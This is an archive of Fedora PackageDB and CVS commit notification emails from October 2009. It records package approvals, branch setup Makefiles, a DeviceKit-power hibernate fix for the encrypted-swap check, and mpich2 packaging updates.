kevin has added a Fedora devel branch for qbrew with an owner of cstpierre
kevin has approved qbrew in Fedora devel
kevin has approved Package qbrew
kevin has set commit to Approved for 107427 on qbrew (Fedora devel)
kevin has set checkout to Approved for 107427 on qbrew (Fedora devel)
kevin has set build to Approved for 107427 on qbrew (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qbrew



From pkgdb at fedoraproject.org  Thu Oct 29 00:09:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:09:50 +0000
Subject: [pkgdb] qbrew summary updated by kevin
Message-ID: <20091029000950.EB53D10F895@bastion2.fedora.phx.redhat.com>

kevin set package qbrew summary to A Brewing Recipe Calculator

To make changes to this package see:
  /pkgdb/packages/name/qbrew



From pkgdb at fedoraproject.org  Thu Oct 29 00:09:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:09:50 +0000
Subject: [pkgdb] qbrew (Fedora, 11) updated by kevin
Message-ID: <20091029000951.0AD1F10F89D@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for qbrew
kevin has set commit to Approved for 107427 on qbrew (Fedora 11)
kevin has set checkout to Approved for 107427 on qbrew (Fedora 11)
kevin has set build to Approved for 107427 on qbrew (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/qbrew



From pkgdb at fedoraproject.org  Thu Oct 29 00:09:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:09:50 +0000
Subject: [pkgdb] qbrew (Fedora, 11) updated by kevin
Message-ID: <20091029000951.192D410F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for qbrew
kevin has set commit to Approved for 107427 on qbrew (Fedora 12)
kevin has set checkout to Approved for 107427 on qbrew (Fedora 12)
kevin has set build to Approved for 107427 on qbrew (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/qbrew



From kevin at fedoraproject.org  Thu Oct 29 00:09:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:09:59 +0000 (UTC)
Subject: rpms/qbrew - New directory
Message-ID: <20091029000959.18C5311C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/qbrew
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq23120/rpms/qbrew

Log Message:
Directory /cvs/pkgs/rpms/qbrew added to the repository




From kevin at fedoraproject.org  Thu Oct 29 00:09:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:09:59 +0000 (UTC)
Subject: rpms/qbrew/devel - New directory
Message-ID: <20091029000959.58E8D11C0336@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/qbrew/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq23120/rpms/qbrew/devel

Log Message:
Directory /cvs/pkgs/rpms/qbrew/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 29 00:10:07 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:10:07 +0000 (UTC)
Subject: rpms/qbrew Makefile,NONE,1.1
Message-ID: <20091029001007.4D35111C0380@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/qbrew
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq23120/rpms/qbrew

Added Files:
	Makefile 
Log Message:
Setup of module qbrew


--- NEW FILE Makefile ---
# Top level Makefile for module qbrew
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 29 00:10:07 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:10:07 +0000 (UTC)
Subject: rpms/qbrew/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources, 
	NONE, 1.1
Message-ID: <20091029001007.DA45411C0380@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/qbrew/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq23120/rpms/qbrew/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module qbrew


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: qbrew
# $Id: Makefile,v 1.1 2009/10/29 00:10:07 kevin Exp $
NAME := qbrew
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 29 00:11:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:11:51 +0000
Subject: [pkgdb] ghmm was added for mycae
Message-ID: <20091029001151.D785910F871@bastion2.fedora.phx.redhat.com>

kevin has added Package ghmm with summary A library with data structures and algorithms for Hidden Markov Models
kevin has approved Package ghmm
kevin has added a Fedora devel branch for ghmm with an owner of mycae
kevin has approved ghmm in Fedora devel
kevin has approved Package ghmm
kevin has set commit to Approved for 107427 on ghmm (Fedora devel)
kevin has set checkout to Approved for 107427 on ghmm (Fedora devel)
kevin has set build to Approved for 107427 on ghmm (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ghmm



From pkgdb at fedoraproject.org  Thu Oct 29 00:11:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:11:54 +0000
Subject: [pkgdb] ghmm summary updated by kevin
Message-ID: <20091029001154.4F55410F88B@bastion2.fedora.phx.redhat.com>

kevin set package ghmm summary to A library with data structures and algorithms for Hidden Markov Models

To make changes to this package see:
  /pkgdb/packages/name/ghmm



From pkgdb at fedoraproject.org  Thu Oct 29 00:11:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:11:54 +0000
Subject: [pkgdb] ghmm (Fedora EPEL, 5) updated by kevin
Message-ID: <20091029001154.56E1910F89C@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for ghmm
kevin has set commit to Approved for 107427 on ghmm (Fedora 11)
kevin has set checkout to Approved for 107427 on ghmm (Fedora 11)
kevin has set build to Approved for 107427 on ghmm (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ghmm



From pkgdb at fedoraproject.org  Thu Oct 29 00:11:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:11:54 +0000
Subject: [pkgdb] ghmm (Fedora EPEL, 5) updated by kevin
Message-ID: <20091029001154.5F7D910F8A2@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for ghmm
kevin has set commit to Approved for 107427 on ghmm (Fedora 12)
kevin has set checkout to Approved for 107427 on ghmm (Fedora 12)
kevin has set build to Approved for 107427 on ghmm (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ghmm



From pkgdb at fedoraproject.org  Thu Oct 29 00:11:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:11:54 +0000
Subject: [pkgdb] ghmm (Fedora EPEL, 5) updated by kevin
Message-ID: <20091029001154.6DB2910F8A6@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for ghmm
kevin has set commit to Approved for 107427 on ghmm (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on ghmm (Fedora EPEL 5)
kevin has set build to Approved for 107427 on ghmm (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/ghmm



From kevin at fedoraproject.org  Thu Oct 29 00:12:06 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:12:06 +0000 (UTC)
Subject: rpms/ghmm - New directory
Message-ID: <20091029001206.2BDE111C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ghmm
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf24752/rpms/ghmm

Log Message:
Directory /cvs/pkgs/rpms/ghmm added to the repository




From kevin at fedoraproject.org  Thu Oct 29 00:12:06 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:12:06 +0000 (UTC)
Subject: rpms/ghmm/devel - New directory
Message-ID: <20091029001206.D832211C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ghmm/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf24752/rpms/ghmm/devel

Log Message:
Directory /cvs/pkgs/rpms/ghmm/devel added to the repository




From pkgdb at fedoraproject.org  Thu Oct 29 00:12:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:12:30 +0000
Subject: [pkgdb] python-mwclient (Fedora EPEL, 4) updated by kevin
Message-ID: <20091029001231.05FBB10F871@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for python-mwclient
kevin has set commit to Approved for 107427 on python-mwclient (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on python-mwclient (Fedora EPEL 4)
kevin has set build to Approved for 107427 on python-mwclient (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/python-mwclient



From kevin at fedoraproject.org  Thu Oct 29 00:12:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:12:31 +0000 (UTC)
Subject: rpms/ghmm Makefile,NONE,1.1
Message-ID: <20091029001231.BD76811C0381@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ghmm
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf24752/rpms/ghmm

Added Files:
	Makefile 
Log Message:
Setup of module ghmm


--- NEW FILE Makefile ---
# Top level Makefile for module ghmm
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From pkgdb at fedoraproject.org  Thu Oct 29 00:12:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:12:31 +0000
Subject: [pkgdb] python-mwclient (Fedora EPEL, 4) updated by kevin
Message-ID: <20091029001231.1F19010F88B@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for python-mwclient
kevin has set commit to Approved for 107427 on python-mwclient (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on python-mwclient (Fedora EPEL 5)
kevin has set build to Approved for 107427 on python-mwclient (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/python-mwclient



From kevin at fedoraproject.org  Thu Oct 29 00:12:36 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:12:36 +0000 (UTC)
Subject: rpms/ghmm/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources, 
	NONE, 1.1
Message-ID: <20091029001236.1EC8711C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ghmm/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf24752/rpms/ghmm/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module ghmm


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: ghmm
# $Id: Makefile,v 1.1 2009/10/29 00:12:34 kevin Exp $
NAME := ghmm
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 29 02:40:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 02:40:54 +0000
Subject: [pkgdb] perl-Makefile-Parser was added for sradvan
Message-ID: <20091029024054.78F4010F894@bastion2.fedora.phx.redhat.com>

kevin has added Package perl-Makefile-Parser with summary Simple parser for Makefiles
kevin has approved Package perl-Makefile-Parser
kevin has added a Fedora devel branch for perl-Makefile-Parser with an owner of sradvan
kevin has approved perl-Makefile-Parser in Fedora devel
kevin has approved Package perl-Makefile-Parser
kevin has set commit to Approved for 107427 on perl-Makefile-Parser (Fedora devel)
kevin has set checkout to Approved for 107427 on perl-Makefile-Parser (Fedora devel)
kevin has set build to Approved for 107427 on perl-Makefile-Parser (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/perl-Makefile-Parser



From pkgdb at fedoraproject.org  Thu Oct 29 02:41:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 02:41:00 +0000
Subject: [pkgdb] perl-Makefile-Parser summary updated by kevin
Message-ID: <20091029024100.BBC1910F8A2@bastion2.fedora.phx.redhat.com>

kevin set package perl-Makefile-Parser summary to Simple parser for Makefiles

To make changes to this package see:
  /pkgdb/packages/name/perl-Makefile-Parser



From pkgdb at fedoraproject.org  Thu Oct 29 02:41:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 02:41:00 +0000
Subject: [pkgdb] perl-Makefile-Parser (Fedora, 10) updated by kevin
Message-ID: <20091029024101.20FF610F8A8@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on perl-Makefile-Parser (Fedora devel) for perl-sig
kevin approved watchcommits on perl-Makefile-Parser (Fedora devel) for perl-sig
kevin approved watchbugzilla on perl-Makefile-Parser (Fedora devel) for nb
kevin approved watchcommits on perl-Makefile-Parser (Fedora devel) for nb
kevin approved commit on perl-Makefile-Parser (Fedora devel) for nb
kevin approved build on perl-Makefile-Parser (Fedora devel) for nb
kevin approved approveacls on perl-Makefile-Parser (Fedora devel) for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Makefile-Parser



From pkgdb at fedoraproject.org  Thu Oct 29 02:41:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 02:41:00 +0000
Subject: [pkgdb] perl-Makefile-Parser (Fedora, 10) updated by kevin
Message-ID: <20091029024100.D97C510F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for perl-Makefile-Parser
kevin has set commit to Approved for 107427 on perl-Makefile-Parser (Fedora 11)
kevin has set checkout to Approved for 107427 on perl-Makefile-Parser (Fedora 11)
kevin has set build to Approved for 107427 on perl-Makefile-Parser (Fedora 11)
kevin approved watchbugzilla on perl-Makefile-Parser (Fedora 11) for perl-sig
kevin approved watchcommits on perl-Makefile-Parser (Fedora 11) for perl-sig
kevin approved watchbugzilla on perl-Makefile-Parser (Fedora 11) for nb
kevin approved watchcommits on perl-Makefile-Parser (Fedora 11) for nb
kevin approved commit on perl-Makefile-Parser (Fedora 11) for nb
kevin approved build on perl-Makefile-Parser (Fedora 11) for nb
kevin approved approveacls on perl-Makefile-Parser (Fedora 11) for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Makefile-Parser



From pkgdb at fedoraproject.org  Thu Oct 29 02:41:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 02:41:00 +0000
Subject: [pkgdb] perl-Makefile-Parser (Fedora, 10) updated by kevin
Message-ID: <20091029024101.41FE610F8B6@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for perl-Makefile-Parser
kevin has set commit to Approved for 107427 on perl-Makefile-Parser (Fedora 12)
kevin has set checkout to Approved for 107427 on perl-Makefile-Parser (Fedora 12)
kevin has set build to Approved for 107427 on perl-Makefile-Parser (Fedora 12)
kevin approved watchbugzilla on perl-Makefile-Parser (Fedora 12) for perl-sig
kevin approved watchcommits on perl-Makefile-Parser (Fedora 12) for perl-sig
kevin approved watchbugzilla on perl-Makefile-Parser (Fedora 12) for nb
kevin approved watchcommits on perl-Makefile-Parser (Fedora 12) for nb
kevin approved commit on perl-Makefile-Parser (Fedora 12) for nb
kevin approved build on perl-Makefile-Parser (Fedora 12) for nb
kevin approved approveacls on perl-Makefile-Parser (Fedora 12) for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Makefile-Parser



From pkgdb at fedoraproject.org  Thu Oct 29 02:41:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 02:41:00 +0000
Subject: [pkgdb] perl-Makefile-Parser (Fedora, 10) updated by kevin
Message-ID: <20091029024101.5649210F8B9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for perl-Makefile-Parser
kevin has set commit to Approved for 107427 on perl-Makefile-Parser (Fedora 10)
kevin has set checkout to Approved for 107427 on perl-Makefile-Parser (Fedora 10)
kevin has set build to Approved for 107427 on perl-Makefile-Parser (Fedora 10)
kevin approved watchbugzilla on perl-Makefile-Parser (Fedora 10) for perl-sig
kevin approved watchcommits on perl-Makefile-Parser (Fedora 10) for perl-sig
kevin approved watchbugzilla on perl-Makefile-Parser (Fedora 10) for nb
kevin approved watchcommits on perl-Makefile-Parser (Fedora 10) for nb
kevin approved commit on perl-Makefile-Parser (Fedora 10) for nb
kevin approved build on perl-Makefile-Parser (Fedora 10) for nb
kevin approved approveacls on perl-Makefile-Parser (Fedora 10) for nb

To make changes to this package see:
  /pkgdb/packages/name/perl-Makefile-Parser



From kevin at fedoraproject.org  Thu Oct 29 02:41:20 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 02:41:20 +0000 (UTC)
Subject: rpms/perl-Makefile-Parser - New directory
Message-ID: <20091029024120.EE51211C0495@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-Makefile-Parser
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsW30377/rpms/perl-Makefile-Parser

Log Message:
Directory /cvs/pkgs/rpms/perl-Makefile-Parser added to the repository




From kevin at fedoraproject.org  Thu Oct 29 02:41:20 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 02:41:20 +0000 (UTC)
Subject: rpms/perl-Makefile-Parser/devel - New directory
Message-ID: <20091029024120.E400D11C0349@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-Makefile-Parser/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsW30377/rpms/perl-Makefile-Parser/devel

Log Message:
Directory /cvs/pkgs/rpms/perl-Makefile-Parser/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 29 02:41:40 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 02:41:40 +0000 (UTC)
Subject: rpms/perl-Makefile-Parser Makefile,NONE,1.1
Message-ID: <20091029024140.6087D11C0349@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-Makefile-Parser
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsW30377/rpms/perl-Makefile-Parser

Added Files:
	Makefile 
Log Message:
Setup of module perl-Makefile-Parser


--- NEW FILE Makefile ---
# Top level Makefile for module perl-Makefile-Parser
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 29 02:41:41 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 02:41:41 +0000 (UTC)
Subject: rpms/perl-Makefile-Parser/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091029024141.4224D11C0349@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-Makefile-Parser/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsW30377/rpms/perl-Makefile-Parser/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module perl-Makefile-Parser


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: perl-Makefile-Parser
# $Id: Makefile,v 1.1 2009/10/29 02:41:40 kevin Exp $
NAME := perl-Makefile-Parser
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From mclasen at fedoraproject.org  Thu Oct 29 02:44:19 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 29 Oct 2009 02:44:19 +0000 (UTC)
Subject: rpms/DeviceKit-power/F-12 encrypted-swap.patch, NONE,
	1.1 DeviceKit-power.spec, 1.25, 1.26
Message-ID: <20091029024419.DE0AA11C0073@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/DeviceKit-power/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31157

Modified Files:
	DeviceKit-power.spec 
Added Files:
	encrypted-swap.patch 
Log Message:
Fix hibernate


encrypted-swap.patch:
 dkp-daemon.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE encrypted-swap.patch ---
diff -up DeviceKit-power-012/src/dkp-daemon.c.hibernate DeviceKit-power-012/src/dkp-daemon.c
--- DeviceKit-power-012/src/dkp-daemon.c.hibernate	2009-10-28 22:36:07.452756570 -0400
+++ DeviceKit-power-012/src/dkp-daemon.c	2009-10-28 22:37:05.067756671 -0400
@@ -563,7 +563,7 @@ dkp_daemon_hibernate (DkpDaemon *daemon,
 	}
 
 	/* encrypted swap? */
-	if (!daemon->priv->hibernate_has_encrypted_swap) {
+	if (daemon->priv->hibernate_has_encrypted_swap) {
 		error = g_error_new (DKP_DAEMON_ERROR,
 				     DKP_DAEMON_ERROR_GENERAL,
 				     "Swap space is encrypted");


Index: DeviceKit-power.spec
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-power/F-12/DeviceKit-power.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- DeviceKit-power.spec	19 Oct 2009 10:29:59 -0000	1.25
+++ DeviceKit-power.spec	29 Oct 2009 02:44:19 -0000	1.26
@@ -9,7 +9,7 @@ Summary: Power Management Service
 Name: DeviceKit-power
 Version: 012
 #Release: 0.1.%{?alphatag}git%{?dist}
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
 URL: http://cgit.freedesktop.org/DeviceKit/DeviceKit-power/
@@ -37,6 +37,9 @@ Requires: polkit >= %{polkit_version}
 Requires: udev
 Requires: pm-utils >= 1.2.2.1
 
+# make hibernate work again
+Patch0: encrypted-swap.patch
+
 %description
 DeviceKit-power provides a daemon, API and command line tools for
 managing power devices attached to the system.
@@ -51,6 +54,8 @@ Headers and libraries for DeviceKit-powe
 
 %prep
 %setup -q
+%patch0 -p1 -b .encrypted-swap
+
 #%setup -q -n %{?name}-%{?version}-%{?alphatag}
 
 %build
@@ -109,6 +114,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/DeviceKit-power/devkit-power-gobject/*.h
 
 %changelog
+* Wed Oct 28 2009 Matthias Clasen <mclasen at redhat.com> - 012-2
+- Make hibernate work again
+
 * Mon Oct 19 2009 Richard Hughes <richard at hughsie.com> - 012-1
 - Update to 012
 - Detect encrypted swap and prevent hibernate in this case.



From deji at fedoraproject.org  Thu Oct 29 02:52:36 2009
From: deji at fedoraproject.org (Deji Akingunola)
Date: Thu, 29 Oct 2009 02:52:36 +0000 (UTC)
Subject: rpms/mpich2/F-12 mpich2-modules.patch, NONE, 1.1 mpich2.macros, NONE,
	1.1 mpich2.spec, 1.11, 1.12 sources, 1.7, 1.8
Message-ID: <20091029025236.E4E9811C0073@cvs1.fedora.phx.redhat.com>

Author: deji

Update of /cvs/pkgs/rpms/mpich2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv902

Modified Files:
	mpich2.spec sources 
Added Files:
	mpich2-modules.patch mpich2.macros 
Log Message:
* Wed Oct 28 2009 Deji Akingunola <dakingun at gmail.com> - 1.2-1
- Adapt to the Fedora MPI packaging guildelines
- Split out a -doc subpackage
- New upstream version, v1.2


mpich2-modules.patch:
 mpich2.module.in |   10 ++++++++++
 1 file changed, 10 insertions(+)

--- NEW FILE mpich2-modules.patch ---
--- src/packaging/envmods/mpich2.module.in	2009-07-02 15:54:58.000000000 -0400
+++ src/packaging/envmods/mpich2.module.in.new	2009-10-13 20:22:41.814975264 -0400
@@ -6,6 +6,16 @@
 # Define prefix so PATH and MANPATH can be updated.
 setenv        prefix        @prefix@
 setenv        exec_prefix   @exec_prefix@
+setenv        MPI_BIN       @LIBDIR@/@MPILIBNAME@/bin
+setenv        MPI_SYSCONFIG @sysconfdir@
+setenv        MPI_FORTRAN_MOD_DIR @includedir@
+setenv        MPI_INCLUDE   @includedir@
+setenv        MPI_LIB       @libdir@
+setenv        MPI_MAN       @mandir@
+setenv        MPI_PYTHON_SITEARCH	@bindir@
+setenv        MPI_COMPILER  @MPILIBNAME at -@ARCH@
+setenv        MPI_SUFFIX    @MPILIBNAME@
+setenv        MPI_HOME      @LIBDIR@/@MPILIBNAME@
 prepend-path  PATH          @bindir@
 prepend-path  MANPATH       @mandir@
 


--- NEW FILE mpich2.macros ---
%_mpich2_load \
 . /etc/profile.d/modules.sh; \
 module load mpich2-%{_arch}; \
 export CFLAGS="$CFLAGS %{optflags}";
%_mpich2_unload \
 . /etc/profile.d/modules.sh; \
 module unload mpich2-%{_arch};


Index: mpich2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mpich2/F-12/mpich2.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- mpich2.spec	11 Aug 2009 21:31:26 -0000	1.11
+++ mpich2.spec	29 Oct 2009 02:52:36 -0000	1.12
@@ -1,11 +1,13 @@
 Summary:	A high-performance implementation of MPI
 Name:		mpich2
-Version:	1.1.1p1
+Version:	1.2
 Release:	1%{?dist}
 License:	MIT
 Group:		Development/Libraries
 URL:		http://www.mcs.anl.gov/research/projects/mpich2
-Source:		http://www.mcs.anl.gov/research/projects/mpich2/downloads/tarballs/%{version}/%{name}-%{version}.tar.gz
+Source0:	http://www.mcs.anl.gov/research/projects/mpich2/downloads/tarballs/%{version}/%{name}-%{version}.tar.gz
+Source1:	mpich2.macros	
+Patch0:		mpich2-modules.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	libXt-devel, libuuid-devel
 BuildRequires:	java-devel-openjdk, gcc-gfortran
@@ -37,7 +39,7 @@ Summary:	Development files for mpich2
 Group:		Development/Libraries
 Requires:	%{name} = %{version}-%{release}
 Requires:	pkgconfig
-Requires:	gcc-gfortran
+Requires:	gcc-gfortran 
 Requires(post):	/usr/sbin/alternatives
 Requires(preun):/usr/sbin/alternatives
 Requires(posttrans):/usr/sbin/alternatives
@@ -45,14 +47,25 @@ Requires(posttrans):/usr/sbin/alternativ
 %description devel
 Contains development headers and libraries for mpich2
 
+%package doc
+Summary:	Documentations and examples for mpich2
+Group:          Documentation
+BuildArch:      noarch
+
+%description doc
+Contains documentations, examples and manpages for mpich2
+
 # We only compile with gcc, but other people may want other compilers.
 # Set the compiler here.
 %{!?opt_cc: %global opt_cc gcc}
